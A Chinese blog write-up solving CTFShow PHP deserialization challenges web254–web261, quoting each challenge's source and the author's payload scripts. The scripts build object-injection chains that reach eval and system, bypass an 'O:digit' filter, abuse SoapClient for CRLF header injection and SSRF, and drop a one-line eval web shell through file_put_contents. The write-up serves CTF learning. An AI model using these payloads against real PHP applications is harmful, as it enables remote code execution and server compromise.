CTFShow-反序列化

发布于:2024-09-18 ⋅ 阅读:(54) ⋅ 点赞:(0)

一些基础:

private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名

__sleep() //在对象被序列化之前运行 *

__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。

construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的

属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

​ 这个题就是简单的逻辑,首先是登陆,判断账号密码是否为xxxxxx,是的话isVip则返回true,之后检测isVip是否为true,是的话就输出flag。

​ 因此,直接get传两个参数,username和password都是xxxxxx即可出flag。

web255:


error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

​ 逻辑挺简单的,就是从cookie取一个序列化后的字符串,进行反序列化,这个类就实例化成一个对象user,然后对这个对象进行操作,进行login,但是login只会返回一个真或者假,不会操作isVip参数,之后的checkVip会检测isVip的值,为真则输出flag,所以,生成的序列化字符串要求是isVip属性得是真,所以生成的脚本如下:

<?php
class ctfShowUser{
    public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

?username=xxxxxx&password=xxxxxx

web256:

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

​ 这个题在这个函数里有个问题:

public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }

​ 这里很明显,当账号和密码相等的时候,就不会输出flag,当不等的时候就输出,所以,需要通过反序列化将username或者password改一个,使他们不相等,之后get传参的时候传入修改之后的就行了。生成cookie的脚本如下:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
}

$a = new ctfShowUser();
$a->isVip = true;
$a->password = "xxxxx";

echo urlencode(serialize($a));


?username=xxxxxx&password=xxxxx

web257:

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

​ 这个题第一次遇到了魔术方法, 由于存在backDoor类,里面有可以进行RCE的点,所以,这里可以想办法触发__construct方法以及修改参数来创建这个类,但是,由于info类和backDoor类都有一个同名的方法,就是getInfo,所以在脚本结束的时候,也就是释放或者销毁类的时候就会调用__destruct方法, 然后调用到backDoor类里的getInfo方法进行RCE。生成payload的脚本如下:

<?php
class ctfShowUser
{
    private $username = 'xxxxxx';
    private $password = 'xxxxxx';
    private $isVip = true;
    private $class = 'info';

    public function __construct()
    {
        $this->class = new backDoor();
    }
}

class info
{
    private $user = 'xxxxxx';

    public function getInfo()
    {
        return $this->user;
    }
}

class backDoor
{
    private $code = "system('tac flag.php');";

    public function getInfo()
    {
        eval($this->code);
    }
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

web258:


error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

​ 这个题对比上一题,多了个正则过滤,基本上就是过滤了o:数字 以及 c:数字 ,这种形式,这里可以使用加号绕过:

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class = new backDoor();
    }
}
class backDoor{
    public $code = "system('tac fl*');";
}

$a = new ctfShowUser();
$b = serialize($a);
$b = str_replace("O:","O:+",$b);
echo urlencode($b);

​ 这个构造我踩了不少坑,最严重的是system函数后面,没有加分号,这个是最大的问题,我一直以为没有成功,结果是因为每家分号。

web259:

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

​ 这个题给的信息好少,不会做,看下wp。

​ 这一题主要考察了原生类的反序列化,好吧,第一次遇到完全想不到,即使学了原生类也没想到。

​ 由于整个index里面没有任何类,所以后面的反序列化加上$vip->getFlag();给人第一反应应该是调用了一个不存在的方法以及原生类结合,触发__call魔术方法,

​ 贴一个链接,这个文章感觉很详细:【靶场】ctfshow 详解web259原生类反序列化

​ 这里是使用的Soapclient原生类:

Soapclient原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务

SoapClient原生类, 类似于curl一样的存在, 基于 XML 的协议,它使应用程序通过 HTTP 来交换信息

​ 提示里给了这个:

flag.php
 
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
 
 
if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

​ 这里可以看出来,flag,php文件会帮我们获得flag的值,但是,需要提前检测ip,也就是xff的值。

​ 从代码上看直接访问flag.php给X_FORWARDED_FOR赋值127.0.0.1三次(127.0.0.1, 127.0.0.1, 127.0.0.1)就可以绕过array_pop(删除数组末尾的值), 在传入token等于ctfshow就能得到flag

​ 所以,构造payload的脚本如下:

<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

echo urlencode(serialize($client));

​ 完成上面的生成操作得安装php-soap拓展,我这里用的是phpstudy,它自带这个拓展,但是没有编译。打开php-ini,找到extension=php_soap.dll,把前面的分号去掉。

​ 之后得到的payload发送之后直接读取flag.txt即可。

web260:

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

​ 没搞懂这个题的意义是啥,算了无脑了:get传一个ctfshow=ctfshow_i_love_36D即可得到flag。

web261:

​ 提示里出现了个打redis,有点害怕了。

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

​ 先扔一个考点:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

​ 所以不用搭理__wakeup直接打木马:

​ 因为存在file_put_contents,所以只需要将木马写入文件里即可,然后就是__destruct,在脚本跑完的时候会自动执行,所以完全可以触发,之后,有一个 if($this->code==0x36d ,需要想办法通过,因为是弱比较,所以可以利用这个PHP的特性,先执行下这个:

echo 0x36d == "877.php";

​ 发现输出结果是1,好了,可以直接梭了:

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct(){
        $this->username='877.php';
        $this->password='<?php eval($_GET[1]);?>';
    }
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

​ 之后访问877.php直接RCE即可。